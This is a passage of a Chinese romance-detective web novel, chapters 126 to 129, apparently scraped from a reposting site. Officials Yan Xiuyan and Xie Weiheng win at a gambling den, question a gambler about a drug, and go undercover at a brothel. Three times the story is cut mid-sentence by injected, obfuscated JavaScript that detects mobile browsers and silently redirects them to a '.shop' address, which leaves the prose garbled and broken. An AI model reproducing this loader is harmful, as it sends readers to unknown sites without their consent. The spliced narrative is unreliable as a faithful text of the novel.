2.大白:(呼噜呼噜!)还是爷爷最好(嚼呼噜呼噜!)妈妈坏,非要我锻炼减肥(呼噜呼噜!)爸爸也坏,吓唬我 3.作者慈祥的看着大白:哎!大白啊,姥姥看人准,这个家你爸都得听你妈的 126. 我今日不会再进赌场 聚宝轩内烟气缭绕,骰子碰撞、铜钱叮当、人声喧哗混作一团。 管事远远一眼就认出了燕修延与谢伟恒,连忙堆着满脸恭敬迎上来,腰弯得恰到好处。 “二位大人今日有空,可要上桌小试几把?” 燕修延今儿没再胡扯什么躲猫猫,只双手负在身后,眉眼淡淡扫过场内喧闹,语气平静:“先看看。” 话音刚落,他偏头轻瞥了谢伟恒一眼。 谢伟恒心领神会,温声开口:“先去看看掷骰子?” 管事立刻听出主次,脸上笑得更殷勤:“掷骰子赌大小最是简单,二位大人先瞧瞧热闹,小的给你们引路。” 将两人引到最热闹的骰桌前,才躬身退开半步:“二位大人若是有什么需要,尽管招呼小的。” 谢伟恒随手摸出一小块碎银,递给他:“好。” 管事连忙双手接过,眉开眼笑地连连道谢:“多谢谢大人!二位慢看,慢看!” 等管事走远了些,燕修延才压低声音,凑近谢伟恒:“咱们是来赚钱的,不是来散钱的。” 谢伟恒低笑一声,气息轻拂过他耳畔:“放心,今日只会赚,不会亏。” 赌场这地方,从来都是十赌九输。 多数时候,庄家早就在骰盅里动了手脚。 偶尔放几人小赢几把,稳住人心,接下来便专挑多数人押的反方向开,稳赚不赔。 庄家“啪”一声将骰盅重重扣在桌面,高声唱喝。 “买定离手——!” 围堵的人瞬间红了眼,嘶吼成一片。 “大!大!大!” “小!小!小!这把肯定小!” 谢伟恒立在人群外侧,目光落在骰盅上,声音轻得只有两人听见:“听声响,里面本该是小,等开出来,必是大。” 燕修延微微挑眉,没作声。 果然,在一片期待又紧张的目光里,庄家猛地掀开骰盅。 “大——!” 人群顿时炸开一片懊恼。 “怎么又是大?!” “再来再来!我就不信把把大!” “这把我死押小!” 谢伟恒侧头看向燕修延,笑意浅浅:“燕大人觉得,这一把是大是小?” 燕修延摊开手心,一脸坦荡:“不知道。” 谢伟恒伸手抓过一把碎银,轻轻放在他掌心,指尖微微用力按了按,才缓缓收回。 燕修延会意,拿着银子在“小”的区域上方虚晃一下,又皱着眉收回来,一副犹豫不决、拿不定主意的模样。 周围赌徒见状,也跟着犹豫起来。 庄家又高声催了一遍:“买定离手了啊——!” 有人咬牙闭眼,跟着直觉胡乱押了。 有人认定上把开大,这把绝不可能再大,一股脑全押了小。 谢伟恒静静观察着庄家微变的神情与搭在骰盅上的指尖微动,轻轻对燕修延颔首。 燕修延不再犹豫,在最后一瞬,将手中银子“啪”地全押在了“大”上。 庄家掀开骰盅—— 是大。 燕修延抬眼看向谢伟恒,眼底掠过一丝明晃晃的赞叹,那眼神明晃晃在说:可以啊,真准。 之后几局,只等谢伟恒微不可查地示意,燕修延便照着他的意思下注。 连押三次,连中三次。 周围的赌徒眼睛都红了,死死盯着燕修延的手,只等着他下一把押哪,便一窝蜂跟着押。 燕修延利落将赢来的银钱收好,一把拉住谢伟恒的手腕:“走,换个地方。” 刚转身,便有人横伸手拦在面前。 “别走啊!” 一个面色憔悴、眼布血丝的人猛地横身拦在面前,他这几日输得底朝天,一门心思只想着跟着燕修延翻盘:“赢了就走,算什么道理?再玩两把!” 旁边有认得燕修延身份的人,吓得赶紧拉住小四,压低声音急道:“小四,闭嘴!快让开!” “你拉我干什么?!” 小四全然不识好人心,只当别人拦着他发财,挣扎着要上前:“我跟着他押,一定能赢回来! 燕修延懒得看他,拉着谢伟恒径直从一旁绕开。 赌场里最不缺这种执念深重的赌徒,不懂见好就收,只会一路沉到底,最后输得一无所有。 “不许走!” 小四急红了眼,伸手就要去抓燕修延的衣袖。 可指尖还没碰到衣料,一道冷得刺骨的视线骤然扫过来,像冰刃贴在皮肤上。 小四浑身一僵,动作硬生生定在原地,连呼吸都不敢重。 那是谢伟恒的目光。 谢伟恒收回视线,语气平淡:“我们走。” 燕修延目光一转,落在不远处另一张赌桌上,挑眉:“猜点数,你会不会?” 谢伟恒笑意温雅,故意逗他:“燕大人猜猜看。” 燕修延斜睨他一眼,毫不客气:“你猜我猜不猜,少拿这个跟我要好处。” 谢伟恒低低一笑,指尖轻轻勾起燕修延的小尾指,语气无辜:“燕大人怎么总把我往坏处想。” 燕修延哼了一声:“你自己反思反思,为什么我总这么想你。” 谢伟恒顺着他,语气柔顺:“我的错。” 燕修延脱口而出:“但不改。” 谢伟恒笑而不语,只眼底温柔浓得化不开。 “德性。” 燕修延嗤了一声,迈步走到猜点数的桌前。 桌面上铺着绒布,划着一到六个数字格子,押中点数得到的银子翻倍。 刚才被甩开的小四,已经从同伴口中断断续续得知了燕修延的身份,心里虽怕。 又觉得燕修延能连赢,根本不是本事,是庄家看在他官位的面子上故意放水。 他被翻盘的念头冲昏了头,固执地跟在两人身后,打定主意死跟着燕修延押注。 燕修延胳膊随意搭在谢伟恒肩上,看着旁人下注,自己也在心里默默猜点数,可猜了好几把,一次都没中。 谢伟恒安静看了片刻,等庄家再一次高声喊“买定离手”时。 他拿出三粒碎银,稳稳放到燕修延手中。 燕修延连犹豫都没有,径直将银子押在了三上。 小四眼睛一亮,立刻把刚咬牙借来的钱全部拍在三点格子上,死死攥着拳头,两眼赤红地盯着庄家的骰盅。 骰盅掀开。 三点。 “中了!我中了!” 小四像疯了一样,扑上去就把赢来的钱往怀里乱扒,“哈哈哈!我的!都是我的!” 燕修延眉头微不可查地蹙了一下。 不用他开口,谢伟恒已淡淡道:“走吧。” 赌场管事一直在场内巡视,这边的动静早被他看在眼里。 见小四疯疯癫癫抢钱,他不动声色地给一旁立着的打手使了个眼色。 两个身形高大的打手立刻上前,一人一边捂住小四的嘴,像拎小鸡一般直接架起,拖着就往外面走。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646284|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四常年混迹赌场,饥一顿饱一顿,瘦得跟麻杆似的,在打手铁钳一般的手里,半点挣扎余地都没有。 管事连忙快步上前,对着两人满脸歉意:“对不住二位大人,扫了你们的兴致,小的已经把人赶出去了。” 谢伟恒语气平静:“赌徒常态,谈不上扫兴。” 他偏头看向燕修延:“还继续么?” 燕修延轻轻摇头:“四把全赢,正好四方来财,见好就收。” 管事不敢多留,亲自一路将两人送到门口,躬身行礼:“二位大人慢走,下次再来光顾。” 燕修延随意摆了摆手:“知道了,下次再来。” 两人刚走出聚宝轩大门,拐过街角那条僻静巷子,身后便传来打骂与哀嚎声。 是赌场的打手在教训小四。 “你自己欠下多少债,心里没数?刚才赢那点,连利息都不够填!” 小四不甘心地嘶吼:“我只要再跟着那位大人赌几次,就能翻身了!” “呸!就你?还翻身?” 一脚狠狠踹在身上,小四惨叫着摔倒在地,抬头正好看见巷口燕修延渐行渐远的背影,满眼绝望与不甘。 燕修延脚步未停,只随手掂了掂腰间沉甸甸的荷包,语气淡淡:“赌这东西,沾不得。你怎么对赌场这些门道这么精通?” 谢伟恒拉着他在街边一个小摊子坐下,对摊主道:“来一碗馄饨。” “和族中长辈学的。”谢伟恒轻描淡写。 燕修延了然点头,差点忘了,谢家子弟得天独厚,只要不碰伤天害理的事,想学什么旁门技巧,都有人耐心教。 很快,一碗热气腾腾的馄饨端上桌,香气扑鼻。 燕修延顺手拿起摊上的两个勺子,递了一个给谢伟恒。 谢伟恒却没接,只含笑看着他,眼神里意思再明显不过。 燕修延瞪他一眼:“这可是大街上,你不会真想两个人用一个勺子、共吃一碗吧?” 谢伟恒笑得温温柔柔,坦然点头:“有何不可。” “大人!燕大人——!” 一道狼狈不堪的声音从街口狂奔而来,带着哭腔嘶吼。 小四鼻青脸肿、衣衫破烂,一路跌跌撞撞追了上来,看见燕修延便不顾一切扑过去要抱腿。 燕修延脸色一冷,立刻起身绕到谢伟恒另一侧,叫小四结结实实扑了个空,摔在地上。 他眉头紧锁,语气冷了下来:“我今日不会再进赌场,你不必跟着。” 与此同时,公主府内。 庭院里暖阳正好,琴声清雅。 王璟妍扶着廊柱,慢慢练习着走路,一边听着虞湘晔在石桌旁教女儿弹琴。 李羽飞指尖落在琴弦上,按得歪歪扭扭,琴声也断断续续。 虞湘晔温柔握住她的手,轻轻调整到正确的位置,指尖耐心按着琴弦:“这里,要轻轻按在这里,音才准。” 李羽飞垮着脸,满脸苦不堪言:“殿下,琴太难学了,我能不能不学了?” 虞湘晔被她逗笑,指尖轻轻刮了刮她的鼻尖,语气宠溺又坚定:“不行哦,做事不能半途而废,伯母现在也是一点点坚持下来的。” 一旁慢慢走动的王璟妍也笑着开口,指着李羽飞:“殿下说得对,你可不能偷懒。” 李羽飞看看虞湘晔,又看看自己母亲,最终只能唉声叹气,肩膀垮着,不情不愿地重新将指尖放回琴弦上,继续跟着学。 琴声断断续续,却在安静的庭院里,添了几分温柔烟火。 127. 厚一点也无妨 小四跌坐在地上,积攒了许久的急切与不甘瞬间爆发:“你们都没输过,把把都能赢,为什么不继续赌了!” 谢伟恒本是垂着眼,慢条斯理地整理着袖口的褶皱,闻言缓缓撩起眼皮。 原本温和的眉眼覆上一层寒霜,冷冽的目光直直落在小四身上,没有半分温度:“我们是否要赌,与你何干?” 小四浑身一僵,方才的气焰瞬间灭得干干净净,身子不由自主地往后缩了缩,语气软得像滩泥,却还抱着最后一丝希望:“只要二位大人今日肯带我翻盘,我、我有好东西献给你们!绝对是稀世宝贝!” 燕修延嗤笑一声,眉眼间满是不屑,懒得再跟他多费口舌。 他径自端起桌上那碗还冒着热气的馄饨,拿起勺子舀了一个,吹凉了些自己吃下,唇瓣沾了点汤汁,又舀起一个,自然地递到身旁谢伟恒唇边。 谢伟恒低头,顺从地张口吃下,指尖还轻轻扶了下燕修延的手腕,眼神温柔得能滴出水来。 不过眨眼的功夫,一碗馄饨便被两人分食得干干净净,连汤都喝了小半碗,全然把一旁的小四当成了空气。 小四看得目瞪口呆,半晌才反应过来,见两人抬脚要走,立刻急得跳脚,伸手就要去拦:“哎!别走啊!二位大人等等我!” 燕修延脚步一顿,缓缓扭过头,嘴角勾起一抹似笑非笑的弧度,眼底却没有半分笑意:“怎么,还不死心?你想进监察司的刑室里面好好赌一把?” 小四心里咯噔一下,瞬间涌上浓烈的恐惧,可被赌债逼到绝路、一心想要翻盘的念头,终究压过了害怕。 “我真的有好宝贝!只是京城里识货的人太少,他们都不懂这东西的珍贵!” 小四警惕地环顾了一圈四周,见没什么路人留意这边,小心翼翼地从怀里掏出一个用破布裹着的物件,紧紧握在手心,慢慢伸到燕修延面前,缓缓松开手,露出里面的东西,眼神满是期待。 燕修延垂眸一瞥,又与谢伟恒对视一眼。 是底也伽。 燕修延面色平淡收回视线:“抱歉,我也是个不识货的,你还是另寻他人吧。” 小四急得脸都涨红了,连忙上前一步,想要辩解:“这真是个值钱的——” 谢伟恒眉头微蹙,转头瞥了小四一眼,目光里带着明显的警告,随即自然地牵起燕修延的手,迈步往前走去。 燕修延头也不回抬手摆了摆:“你若是再跟上来,我就真的请你去监察司刑室坐坐,到时候可就不是说说而已了。” 这话落下,小四脚步猛地钉在原地,看着两人并肩离去的背影,攥着手里的底也伽,又怕又不甘心,却终究没敢再追上去。 谢伟恒侧头看向燕修延,温声问道:“再换一家?” 燕修延摆了摆手:“不了,今日赢的钱不少,这事若是传到陛下耳朵里,以他的性子,指不定就要克扣我往后的赏赐,得不偿失。” 他太了解虞睿祥了,没必要因小失大。 两人在赌场赢钱的事没传开,可方才在馄饨摊分食的画面,已经传开了。 导致这件事情发生的始作俑者小四,全程美美的没有姓名。 燕修延坐在茶楼里,面无表情的听外面人绘声绘色地议论着两人是如何甜甜蜜蜜、腻腻歪歪吃完了一碗馄饨。 “燕正使直接坐在谢大人的腿上,一口一口喂着吃的,恩爱极了!” 离谱。 “哪能啊,我瞅着是嘴对嘴喂的,那场面,啧啧啧!” 离大谱。 胡说八道,大庭广众之下,谁能干出这种事! 就算关起门来,他也绝不会这么做! 也就谢伟恒这厮没脸没皮的,才能干的出来。 谢伟恒将刚斟好的茶杯轻轻推到燕修延手边:“燕大人这般看我做什么,我一直与大人寸步不离,这些流言可不是我传出去的。” 燕修延当然知道不是他传的,只是心里的火气没处发:“我看你,是在想你怎么就变成现在这副没脸没皮的模样了。” 谢伟恒非但不恼,反而微微倾身把脸凑到燕修延面前,眉眼带笑:“既然大人这么觉得,不妨亲手捏一捏,试试我的脸皮到底厚不厚。” 燕修延双手捏住谢伟恒的脸颊,轻轻往外扯了扯,看着他被捏得鼓起来的脸:“我说错了,你不是没脸没皮,你这脸皮子比城墙还要厚。” 谢伟恒任由他捏着,眼底盛满了温柔的笑意,声音闷闷地说道:“只要燕大人喜欢,厚一点也无妨。” 燕修延收回手,坐直身子,嘴硬道:“谁说我喜欢了,少往自己脸上贴金。” 谢伟恒低笑一声,语气笃定:“我说的,大人心里定然是喜欢的。” 燕修延哼了一声,别过头去,不再理他。 “叩叩叩” 有人在窗外敲击窗框。 燕修延捻起一颗花生米,抬手丢向窗框,打开一侧的窗户。 白天铎和肖泽一前一后,利落的从窗外跳了进来,落在茶楼雅间里。 “头儿,我们查清楚了小四的住处!他家中还有个老母亲,靠给人浆洗衣服得一点钱。” 白天铎一进门就气呼呼地坐下,伸手端起桌上的茶壶,仰头就往嘴里灌,喝得毫无形象。 肖泽在一旁拦都拦不及,无奈地摇了摇头。 “砰!” 白天铎喝完,重重把茶壶放在桌上,抹了把嘴角的茶水:“头儿,你是不知道,小四那个狗东西,不仅不孝顺,还抢老人家的血汗钱拿去赌,简直不是人!” 谢伟恒起身打开雅间门,示意门外的小二再送一壶新茶进来,免得众人没茶喝。 燕修延屈起手指,轻轻敲了敲桌面,看向白天铎,故作不满地说:“交钱,这壶茶我才喝了一杯,全被你造完了,可不能让我亏本。” “头儿——唔唔唔!” 白天铎刚要求饶,肖泽直接伸手捂住他的嘴,掏出几枚铜板,乖乖摆在桌子上:“头儿,他就是太生气了,一时失了分寸,茶钱我们出。” “喝呗,随便喝,跟我还客气什么。” 燕修延摆摆手,顺手拿起桌上的铜板,直接塞进了谢伟恒的荷包里。 白天铎不气了,冷静地揭开茶盖,起身出去找小二续水,花了钱的,可得把茶叶喝到只剩浮根,不能浪费。 肖泽从怀里掏出一个用干净帕子层层包裹着的东西,轻轻放在桌上,推到燕修延面前:“头儿,这是我们在小四家里,从他穿的鞋子里找出来的。” 鞋子里……? 燕修延嘴角微抽,伸手戳了戳身旁的谢伟恒,两人默契地一起往旁边挪了挪座位,离那帕子远了些。 肖泽看着两人的动作,无奈地解释:“头儿,我已经用干净帕子包得严严实实了,没异味的。” 燕修延敷衍地点点头,眼神飘了飘:“嗯嗯,我看见了,知道你细心。” “耶,怎么都换位置了?” 白天铎提着续好水的茶壶推门进来,一眼就看到桌上的帕子,瞬间明白了,也默默走到对面的位置坐下, “头儿你是不知道,小四那双鞋味道大得很,当时我差点没吐出来,也就肖泽能面不改色地把鞋子倒过来翻找。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646285|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕修延偏头扫了眼白天铎微微鼓起的小腹,故意打趣道:“怎么,被那味道熏得怀了?几个月了?” 白天铎一脸无语,翻了个白眼:“头儿,你看我像是能怀孩子的样子吗?别逗我了。” 燕修延摇摇手指,一本正经地说:“人不可貌相,凡事都说不定。” 白天铎坐回肖泽身边,捂着鼻子说:“你赶紧把这东西收起来,我总感觉已经闻到味儿了。” 肖泽无奈,只好把帕子重新包好,收进怀里。 燕修延指尖轻点桌面:“你把这东西交给柳岚——别跟她说东西是从哪儿找到的。” 白天铎露出一副坏笑,拍着胸脯保证:“头儿你放心!肖泽嘴最严了,我也一样,保证半个字都不会泄露!” 燕修延瞥了他一眼,这家伙也就干坏事的时候嘴最严:“晚上把小四提来见我,动作利索点,别惊动了他家里的老母亲,老人家是无辜的。” “那必须的,保证办得妥妥当当!”白天铎连忙点头应下,一脸笃定。 夜色渐深,小四鬼鬼祟祟地摸进一户富商家的后院,他还惦记着底也伽能换钱,想着再去偷点东西,凑够赌本翻盘。 他蹑手蹑脚地走到富商卧房门口,刚伸出手要推门,后颈突然传来一阵尖锐的痛感,眼前一黑,瞬间失去了意识,直直倒了下去。 再次睁眼时,四周一片昏暗,只有墙上插着的火把,燃烧着跳动的火焰,偶尔发出“哔啵”的声响。 冰冷的空气里,弥漫着挥之不去的血腥气与铁锈味,刺鼻又恐怖。 小四茫然地环顾四周,看清身处之地后,瞬间吓得魂飞魄散。 眼前的架子上摆满了各式各样的刑具,有的上面还残留着干涸的血迹,看着就让人毛骨悚然。 他双腿一软,差点瘫倒在地,两眼一翻就要晕过去。 一道冷冽又低沉的声音,缓缓响起,如同索命的阎罗,硬生生把他快要飘走的魂儿给拽了回来:“你敢晕,我就用烙铁把你烙醒,让你好好清醒清醒。” 小四猛地打了个寒颤,僵硬地转过头,看向声源处。 燕修延坐在不远处的椅子上,姿态慵懒,双脚随意地架在桌案上,手里拿着一块绒布,慢条斯理地擦拭着一把锋利的匕首,匕首在火光下泛着森冷的光。 “大、大、大人……” 小四牙齿打颤,连一句完整的话都说不出来,吓得浑身哆嗦。 燕修延擦着匕首,头也不抬,语气平淡却带着不容置疑的压迫:“我问你几个问题,你老实回答就能全须全羽地回去;若是敢撒谎或是隐瞒——” “咚!” 他手中的匕首猛地飞出,精准地扎在小四头顶的木头上,匕首入木三分,微微晃动。 小四吓得魂都快没了,一股热流顺着裤腿流下,当场吓尿,嘴唇哆嗦着,半点声音都发不出来,只能拼命点头。 燕修延缓缓抬眼,目光冷厉地盯着他:“你白天掏出来的那个东西,是从哪里弄来的?” 小四试着张了好几次嘴,喉咙干涩得发疼,好不容易才挤出声音:“是、是我偷的……从丰乐楼东家的家里偷出来的……” 他原本想去偷点钱继续去赌,从窗户缝里看到他把一个盒子藏在床底下…… 后来他又找了个机会,溜进去把盒子偷了出来,打开一看,就是这东西,他虽不认识,但也觉得肯定是值钱的宝贝…… “我没敢偷多,就偷了五个,一直在京里找识货的人,可没人认得……” 小四越说声音越小,头埋得低低的,生怕燕修延一个不高兴,就对他用刑。 128. 祝望财 丰乐楼…… 东家葛云舟并非本土(这指京城)人士,当年孤身带着两个厨子、微薄家当入京。 从不起眼的小食肆,一步步打拼成如今冠绝京城的丰乐楼,能在京城商圈站稳脚跟,绝非等闲之辈,不仅有本事,手腕更是圆滑狠厉。 葛云舟在京中人脉盘根错节,官商两道都吃得开,若是贸然将人绑来监察司审问,势必打草惊蛇,一旦走漏风声,背后售卖底也伽的人定会立刻藏匿,再想追查便难如登天。 得想个法子,自然而然地从葛云舟口中套出实情,还不能让他察觉异样。 燕修延半阖着眼眸,长睫垂落遮住眼底思绪,柯缨县那边尚未派人核查,可他心底有种强烈的直觉,底也伽的线索,突破口定然在葛云舟身上。 小四跪在地上,见燕修延久久不语,周身气压低得吓人,一颗心瞬间提到了嗓子眼。 以为燕修延是不信自己的供词,慌忙磕了个头。 “大、大人,草民说的全是真话,半句虚言都没有,绝不敢欺瞒大人啊!” 思路骤然被打断,燕修延眉峰微蹙,不耐烦地掀开眼皮,冷冽的目光扫过小四:“谁让你说话了?闭嘴。” 小四吓得闭上嘴巴,连呼吸都放得极轻,脑海里闪过监察司种种酷刑,生怕燕修延一怒之下,将自己毒哑或是直接处置,头埋得更低,身子蜷缩成一团。 刑室里常年弥漫着血腥、铁锈与潮湿的霉味,混杂在一起刺鼻难闻。 燕修延嫌恶地抬手,在鼻前轻轻扇了扇风,压下心头的不适:“除了你偷的那五个,可还见过旁人有这东西?” 小四拼命摇头,语速极快地回道:“没有没有!草民从没见过,就只在葛东家家里偷到过,再也没在别处见过!” “行。” 燕修延淡淡颔首,抬眸看向他,吐出两个字:“张嘴。” 小四虽满心惶恐,却不敢有半分违抗,下意识地乖乖张开嘴巴。 一颗乌黑的药丸瞬间被燕修延弹指弹入他口中,入口即化,连回味的余地都没有。 完了!这一定是毒药! 大人这是要杀了自己灭口! 小四张着嘴,刚想发出求饶的呼喊,一个“大”字还没说完。 燕修延随手抄起一件东西,狠狠敲在他后颈,力道精准,只一瞬,小四便两眼一翻,直直晕了过去。 燕修延收起手,拍了拍衣袍上不存在的灰尘,起身迈步走出刑室。 对守在门外的侍卫冷声吩咐:“把他收拾干净,悄悄送回他家,别惊动了他老母亲,如有人问起,就说他醉酒露宿街头好心送回来。” 出了监察司,就看见马车静静停在外面,车帘低垂,暖意从车内透出来。 燕修延眉眼间的冷意瞬间散去几分,快步走过去,掀帘上车,侧身坐下:“这么晚了,不在家等我,怎么亲自过来了?” 谢伟恒坐在另一侧,伸手替他理了理肩头的衣褶,温声道:“等你许久未归,放心不下。” “那小子招得倒是快,没费什么功夫。” 燕修延靠在软垫上,忽然想起什么,眼底闪过一丝狡黠:“对了,我给他喂了颗忘忆丸,醒来便能忘了刑室里的事。” 他顿了顿,拍了下手:“就这么办,把葛云舟悄悄绑来,问出实情后,也给他喂一颗忘忆丸,就这么办。” 完美。 谢伟恒无奈地笑了笑,轻轻摇头分析:“葛云舟混迹江湖数十年,寻常审问怕是撬不开他的嘴,更何况他年过六旬,若是用强,怕是没等问出什么,他身子先招架不住,反倒误了大事。” 燕修延偏头看向他,挑了挑眉,眼底带着几分了然:“听你这意思,是早有主意了?别卖关子。” 谢伟恒看着他,唇角噙着浅笑,却不说话,目光里带着显而易见的讨要。 燕修延瞬间懂了,扭头看向车窗外:“想都别想。” 谢伟恒伸手轻轻环住燕修延的腰,将人往自己身边带了带,声音放软:“哥哥。” 燕修延任由他抱着,头都不带回的,语气淡淡:“出个主意还索要好处,少来这套。” 谢伟恒也不恼,微微凑近用鼻尖轻轻蹭着燕修延的颈侧,在他耳边用气声低低呢喃:“哥哥,亲我一下就好,亲一下,我就说。” 燕修延无奈地放下车帘,扭头快速在谢伟恒额头上亲了一下,动作敷衍。 眼神却带着几分凶巴巴的:“行了,不许得寸进尺,赶紧说,再不说,我自己也能想到办法,到时候可没你的份。” 谢伟恒见好就收,眼底笑意加深,不再逗他:“硬来不妥,不妨先派人暗中跟踪他几日,记下他每日的行程,去过哪些地方、接触过什么人,摸清他的行踪与交际圈,再寻合适的时机下手,远比直接绑人稳妥。” 燕修延:…… 这个办法,他自然也能想到,只不过被谢伟恒左一句哥哥、右一句哥哥撒娇,打乱了思绪罢了。 几日时间转瞬即逝,白天铎将葛云舟这几日的全部行程整理成册,送到了燕修延手中。 “这六十多岁的老头,精力倒是真好。” 白日里在丰乐楼迎来送往,设宴会客,应酬不断,到了晚上竟还有精力,日日往花楼跑,从未间断。 满春院。 燕修延指尖落在册子上花楼名字,微微顿住。 这家花楼在京城众多花楼里,算不上顶尖,也没什么独有的特色,葛云舟放着更好的地方不去,偏偏日日都来,难不成是楼里的姑娘合了他的心意? 晚间用膳时,燕修延扒着饭,忽然抬头看向谢伟恒,随口问道:“带你去花楼转转,去不去?” 若是他独自前去,事后被谢伟恒知道,这人少不得要借着吃醋的由头索要各种好处,不如带上他,反倒省事。 谢伟恒夹菜的动作微微一顿,抬眸看他,眼底带着几分戏谑,语气故作讶异:“燕大人这是想喝花酒了?” 燕修延白了他一眼,没好气地说:“喝花酒我能叫你?” “原来,燕大人会避着我喝花酒。” 谢伟恒将一筷子鲜嫩的菜夹到他碗里,脸上的笑容淡了几分,故作黯然神伤,语气带着几分委屈,“是因为我不会唱曲,讨不得大人欢心吗?” 燕修延心知他是故意装模作样。 谢伟恒自己也清楚,燕修延早看穿了他的小把戏,可这并不妨碍他继续演下去。 燕修延嘴角忍不住抽了抽,直白地戳破:“错了,因为你不会穿裙子。” 谢伟恒伸手轻轻搭在燕修延的腿上,笑意温柔:“既如此,那燕大人替我挑一身款式,我穿给你看便是。” 燕修延心说才没兴趣看谢伟恒穿裙子,大老爷们的…… 穿穿也不是不行。 回头再给谢伟恒画上大红的腮红,梳上女子发髻,定然格外有趣。 燕修延想着想着,嘴角不自觉勾起一抹坏笑,满口应下:“行,今晚就去给你买——不行,成衣铺应该没有你能穿的尺码。” “无妨,明日我们去家里的绸缎庄,挑好料子样式,量身做一身便是。”谢伟恒顺着他的话应下,眼底满是宠溺。 两人若是直接以真面目去满春院,定然会被认得他们的人认出来,届时不仅打草惊蛇,还会落人话柄。 燕修延动动手,给自己和谢伟恒易容一番。 他将自己的面容改得张扬俊朗,眉眼间带着几分纨绔子弟的浪荡不羁,活脱脱一个京中游手好闲的富家公子。 原本想把谢伟恒易容成带些脂粉气的小倌,可谢伟恒身形挺拔,周身气度温润沉稳,即便刻意伪装,也没有半分小倌的柔媚,反倒显得违和。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646286|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 燕修延思索片刻,改了主意,将他易容成面色苍白、眉眼孱弱的公子,看着便体弱多病,一副风一吹就倒的模样。 “记好了,你叫祝望财,是江南来的富商之子,自幼身子孱弱,我带你进京来见世面的。” 燕修延拍了拍他的肩膀,又指了指自己:“我叫郝有钱,家里在京郊做营生,有点小钱,专爱带你这种病弱公子寻欢作乐。” 谢伟恒配合地点头,唇角噙着浅笑,一本正经地唤道:“好的,有钱兄。” 说完,还特意拿起锦帕,抵住嘴角轻轻咳了两声,病弱的模样演得惟妙惟肖。 燕修延拱手作揖,学着纨绔的腔调:“望财兄,那咱们这就动身?” 谢伟恒微微侧身,做了个请的手势,声音轻缓:“请。” 满春院内灯火通明,丝竹声、嬉笑声、女子的娇嗔声交织在一起,热闹非凡。 空气中浮动着浓郁的胭脂香、酒香与熏香,混杂在一起,扑面而来。 谢伟恒微微蹙眉,用锦帕捂着鼻子,下意识地避开这过于浓烈的香气。 老鸨站在门口迎客,一眼便看到走进门的两人,虽衣着不算极尽奢华,可气度不凡,样貌一个俊朗张扬,一个清隽病弱,皆是难得的俊俏郎君,当即眼前一亮,扭着腰肢快步迎上来,脸上堆着热情洋溢的笑。 “二位爷瞧着眼生得很,怕是头一回来咱们满春院玩吧?放心,包二位爷玩得尽兴!” 燕修延摆出富家公子的做派,大手一挥,丢出两粒碎银子给老鸨,语气随意:“给我们开一间雅间,找两个清爽文静、会唱小曲的姑娘。” “好嘞!二位爷这边请!” 老鸨喜滋滋地接过银子,连忙在前面引路,“我给二位找个最清静的好房间,雅致得很!” 燕修延自然地勾着谢伟恒的肩头,故作熟络地说:“走吧望财兄,今日我带你好好长长见识,尝尝这京城花楼的乐子。” 老鸨走在前面,闻言心里暗自嘀咕,看着这般俊俏的公子,竟叫“旺财”? 想来是“望才”,定是自己听错了。 这般气度的公子,名字断不会如此俗气。 两人跟着老鸨上了二楼,刚走到走廊,楼下便传来女子娇嫩婉转的娇嗔声:“葛老爷~您可算来了,奴家们可是盼了您一整天呢!” 燕修延不动声色地往下瞥了一眼,葛云舟刚跨进大门,左右便各搂上一个娇俏妩媚的姑娘,满脸笑意,一副流连花丛的熟稔模样,身边还跟着两个随从,排场十足。 他收回视线,装作无事发生,与谢伟恒闲聊起来,声音不大不小,恰好能让前面的老鸨听见:“望财兄,今年江南的锦缎价格涨了不少,你家在江南做绸缎生意,近来应该挺好吧?” “咳咳。” 谢伟恒配合地轻咳两声,收起锦帕,语气虚弱地回道:“尚可,父亲让我进京一趟,打算在京城开一家分铺,拓展些生意。” “这是好事啊!” 燕修延伸手替他拍了拍后背,故作热心:“明日我带你在京城各处转转,打听下商铺行情,我家是做玉石生意的,跟你家隔行,不然我现在就能给你出谋划策。” 老鸨走在前面,将两人的对话听在耳中,越发确定这两位是富家公子,心里更是殷勤,脚步都快了几分。 她将两人领到走廊尽头的雅间,推门而入,房间宽敞雅致,推开木窗便是潺潺流淌的小河,夜色下波光粼粼,确实清静雅致。 没过多久,老鸨便领着两个容貌清丽、气质温婉的姑娘进来,眉眼干净,没有浓妆艳抹,看着格外清爽,正是燕修延要求的模样。 燕修延满意地点点头,掏出一锭银子放在桌上,对老鸨吩咐:“不错,再上几样精致的酒菜,送到房里来。” 他今日所有的花销,全都记在葛云舟头上。 129. 你老实点别胡闹 老鸨那张原本还带着几分客套笑意的脸,瞬间笑成了一朵盛放的牡丹,眼角的细纹都挤在了一起,满是欢喜。 